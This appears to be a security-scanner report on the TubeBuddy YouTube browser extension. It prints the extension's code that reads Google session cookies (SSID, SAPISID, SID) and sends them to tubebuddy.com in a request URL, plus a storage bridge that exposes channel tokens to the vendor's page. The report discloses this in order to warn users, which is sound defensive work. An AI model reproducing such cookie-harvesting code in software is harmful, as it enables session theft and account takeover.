Is TubeBuddy for YouTube™ safe?
TubeBuddy is high risk. Code analysis shows the extension reads the SSID, SAPISID and SID cookies on YouTube pages and sends them to tubebuddy.com in a GET request URL. Dynamic analysis did not reach this code path.…
Who publishes itTubeBuddy, Inc - no other listings under this identity, 8 shared hostnames
TubeBuddy, Inc - no other listings under this identity, 8 shared hostnames
Shared hosts - 8 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
TubeBuddy findings
TubeBuddy sends Google session cookie values to its own server in a request URL
Code analysis shows the extension reads the SSID, SAPISID and SID cookies on YouTube pages and sends them to tubebuddy.com in a GET request URL.
Dynamic analysis did not reach this code path.
What actually happens
The user uses a TubeBuddy feature on YouTube Studio.
The extension reads Google session cookies and sends them to tubebuddy.com in a request URL.
The code that does this
ProcessHeader cookie read and request
ProcessHeader
tubebuddymaster1.jsconst r = TBUtilities.GetCookie("SSID");let a = TBUtilities.GetCookie("SAPISID");const s = TBUtilities.GetCookie("SID");a || (a = TBUtilities.GetCookie("__Secure-3PAPISID")),TBExtension.Get(`${TBGlobal.host}/api/youtubechannel/processstring?v=${r}&f=h&s=${a}&t=${s}&w=${o}`, ...)Query parameters
- vA1b2C3d4E5f6G7h8i (illustrative)
The SSID cookie value from the YouTube page.
- sx9Y8z7W6v5U4t3S2/AbCdEfGhIjKlMnOpQ (illustrative)
The SAPISID cookie, or __Secure-3PAPISID if absent.
- tg.a000abcDeFgHiJkLmNoPqRsTuVwXyZ (illustrative)
The SID cookie value from the YouTube page.
- whttps://studio.youtube.com
The page origin the request relates to.
Destination
- www.tubebuddy.com
Receives the cookie values at /api/youtubechannel/processstring and returns a header string.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
TubeBuddy storage bridge exposes YouTube tokens to its web app
Analysis shows TubeBuddy injects a bridge on www.tubebuddy.com reading Chrome sync storage and dispatching a snapshot to the page.
Channel tokens live under tubebuddyToken-{channelId}; unauth tests lacked them, confirming only the bridge.
What actually happens
You use TubeBuddy's web application with the browser extension installed.
The extension is configured to run its bridge on www.tubebuddy.com and on YouTube pages.
The extension lets the TubeBuddy page request selected extension storage values.
If token keys are present, the same storage area holds per-channel TubeBuddy token values.
Fields the bridge and token writer use
- YouTube channel IDUCAbCdEfGhIjKlMnOpQrStUV (illustrative)
This ties the stored token to a specific YouTube channel you manage.
- Chrome storage keytubebuddyToken-UCAbCdEfGhIjKlMnOpQrStUV (illustrative)
This is where the extension saves the channel token before the TubeBuddy page can request extension state.
- Channel token4/0AbUR2VN8qYxL9mQp7R3sT6uVwZaBcDeFgHiJkLmNoPqRsTuVwXyZ (illustrative)
This value can authorize TubeBuddy-related operations for the associated YouTube channel.
- Bridge request IDlabs-request-1720641695123 (illustrative)
This lets the page match a storage snapshot response to the request it sent.
Captured request
Observed during dynamic analysis after navigation to www.tubebuddy.com; no token-bearing POST was captured because the test profile was not signed in.
What's stored on your device
The test browser did not have the signed-in YouTube channel state needed to produce a real token value during the observed run.
- Location
- chrome.storage.sync during dynamic analysis
The code that does this
The shipped bridge reads extension storage and returns it to the page
Readable summary of the storage bridge
TubeBuddyAppToExt.jsconst TOKEN_SYNC_EVENT = 'tubebuddySyncTokens';const TOKEN_SYNC_SOURCE = 'tbLabs';const TOKEN_STORAGE_PREFIX = 'tubebuddyToken-';const LABS_STATE_REQUEST_EVENT = 'tbLabsStateRequest';const LABS_STATE_RESPONSE_EVENT = 'tbLabsStateResponse';const LABS_STATE_KEYS = ['appToExtData', 'LifeCycleDeepLinkData'];const STUDIO_HOSTNAME = 'studio.youtube.com';const STUDIO_CHANNEL_STORAGE_KEY = 'activeYouTubeStudioChannel';function getTokenSyncStorage() { if (typeof browser !== 'undefined' && browser.storage && browser.storage.sync) { return { set: (items) => browser.storage.sync.set(items), remove: (keys) => browser.storage.sync.remove(keys), get: (keys) => browser.storage.sync.get(keys || null), }; } if (typeof chrome !== 'undefined' && chrome.storage && chrome.storage.sync) { return { set: (items) => new Promise((resolve, reject) => { chrome.storage.sync.set(items, () => { const err = chrome.runtime && chrome.runtime.lastError; if (err) reject(new Error(err.message)); else resolve(); }); }), remove: (keys) => new Promise((resolve, reject) => { chrome.storage.sync.remove(keys, () => { const err = chrome.runtime && chrome.runtime.lastError; if (err) reject(new Error(err.message)); else resolve(); }); }), get: (keys) => new Promise((resolve, reject) => { chrome.storage.sync.get(keys || null, (items) => { const err = chrome.runtime && chrome.runtime.lastError; if (err) reject(new Error(err.message)); else resolve(items || {}); }); }), }; } return null;}function isTrustedTokenSyncHost() { const host = window.location.hostname || ''; return host === 'localhost' || host.endsWith('tubebuddy.com') || host.includes('studio.youtube.com');}Readable summary of the page-request handler
TubeBuddyAppToExt.jswindow.addEventListener(LABS_STATE_REQUEST_EVENT, (event) => { try { if (!isTrustedTokenSyncHost()) return; const detail = event && event.detail; if (!detail || detail.source !== TOKEN_SYNC_SOURCE) return; sendLabsStateSnapshot(detail.reason || 'labs-request', detail.requestId, detail.keys, true); } catch (error) { window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, { detail: { source: TOKEN_SYNC_SOURCE, requestId: event && event.detail ? event.detail.requestId : undefined, success: false, error: error && error.message ? error.message : 'Unexpected error retrieving extension state', studioChannelId: undefined, channelId: undefined, }, })); }}, false);function sendLabsStateSnapshot(reason, requestId, keys, allowNonStudioHost = false) { try { if (!isTrustedTokenSyncHost()) return; if (!allowNonStudioHost && !isStudioHost()) return; const storage = getTokenSyncStorage(); if (!storage || typeof storage.get !== 'function') return; const keysToFetch = Array.isArray(keys) && keys.length > 0 ? keys : LABS_STATE_KEYS; const snapshotRequestId = requestId || `${reason || 'labs'}-${Date.now()}`; const channelKeys = [STUDIO_CHANNEL_STORAGE_KEY]; storage.get(keysToFetch.concat(channelKeys)) .then((snapshot) => { const channelFromStorage = snapshot ? snapshot[STUDIO_CHANNEL_STORAGE_KEY] : undefined; const studioChannelId = typeof channelFromStorage === 'string' ? channelFromStorage.trim() : ''; if (snapshot && STUDIO_CHANNEL_STORAGE_KEY in snapshot) { delete snapshot[STUDIO_CHANNEL_STORAGE_KEY]; } const normalizedStudioChannelId = studioChannelId.length > 0 ? studioChannelId : undefined; window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, { detail: { source: TOKEN_SYNC_SOURCE, requestId: snapshotRequestId, success: true, data: snapshot || {}, reason, channelId: normalizedStudioChannelId, studioChannelId: normalizedStudioChannelId, keys: keysToFetch, }, })); }) .catch((error) => { window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, { detail: { source: TOKEN_SYNC_SOURCE, requestId: snapshotRequestId, success: false, error: error && error.message ? error.message : 'Failed to read extension storage', reason, channelId: undefined, studioChannelId: undefined, keys: keysToFetch, }, })); }); } catch (error) { }}Readable summary of token storage
TubeBuddyTokenWriter.jsvar tokenParam = getUrlParameter('t');var channelParam = getUrlParameter('c');var redirectParam = getUrlParameter('r');if (tokenParam) { if (tokenParam == 'remove') { // When debugging with web-ext change sync to local in line below. chrome.storage.sync.remove("tubebuddyToken-" + channelParam, function () { console.log('token removed'); }) } else { var dbSaveObject = {}; dbSaveObject["tubebuddyToken-" + channelParam] = tokenParam; // When debugging with web-ext change sync to local in line below. chrome.storage.sync.set(dbSaveObject, function () { if (redirectParam) { var url = ''; if (window.location.href.indexOf('studio.youtube.com') >= 0) { redirectParam = decodeURIComponent(redirectParam); var poundLocation = redirectParam.indexOf('#'); var fullPath = redirectParam.substring(poundLocation); if (redirectParam.indexOf('cid=') > 0) { url = redirectParam.substring(0, poundLocation) + '&tbft=1' + fullPath; } else { url = 'https://studio.youtube.com/?tbft=1' + fullPath; } } else { if (redirectParam.indexOf('?') > 0 || redirectParam.indexOf('%3F') > 0 || redirectParam.indexOf('%3f') > 0) url = decodeURIComponent(redirectParam) + '&tbft=1'; else url = decodeURIComponent(redirectParam) + '?tbft=1'; } window.location = url; } }); }}The code that does this
The manifest places the bridge on TubeBuddy and YouTube pages
{ "matches": [ "https://www.tubebuddy.com/*", "https://*.youtube.com/*", "http://*.youtube.com/*" ], "js": [ "js/webextension-polyfill/browser-polyfill.js", "TubeBuddyAppToExt.js" ], "run_at": "document_start", "all_frames": true}Destination involved in the bridge
- www.tubebuddy.com
TubeBuddy's web application receives the DOM event response from the extension bridge when it requests extension state.
If you have TubeBuddy installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDmhkhmbddkmdggbhaaaodilponhnccicband choose Remove. - Scan your browser to check the rest of your extensions.
What TubeBuddy can do
Permissions this extension asks for, as declared in version 2271. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on www.tubebuddy.com
https://www.tubebuddy.com/*
Read and change your data on youtube.com
https://*.youtube.com/*
Read and change your data on google.com
https://*.google.com/*
Read and change your data on twitter.com
https://*.twitter.com/*
Read and change your data on facebook.com
https://*.facebook.com/*
Read and change your data on reddit.com
https://*.reddit.com/*
Store data in your browser
storage
TubeBuddy version history
2002
Mar 4, 2026
+8 more
2235
Oct 17, 2026
2255
Oct 28, 2026
2271
Nov 6, 2026
Where TubeBuddy sends data
- www.youtube.com/account1 call
From a script it injects into websites · 41 other extensions
Chrome Web Store listing
- Versions
- 2271 latest of 12 seen since March 4, 2026
- Store rating
- 3.5 from 8,537 ratings
- Last updated
- November 6, 2026
- Size
- 41.61 MiB
- Privacy policy
- www.tubebuddy.com
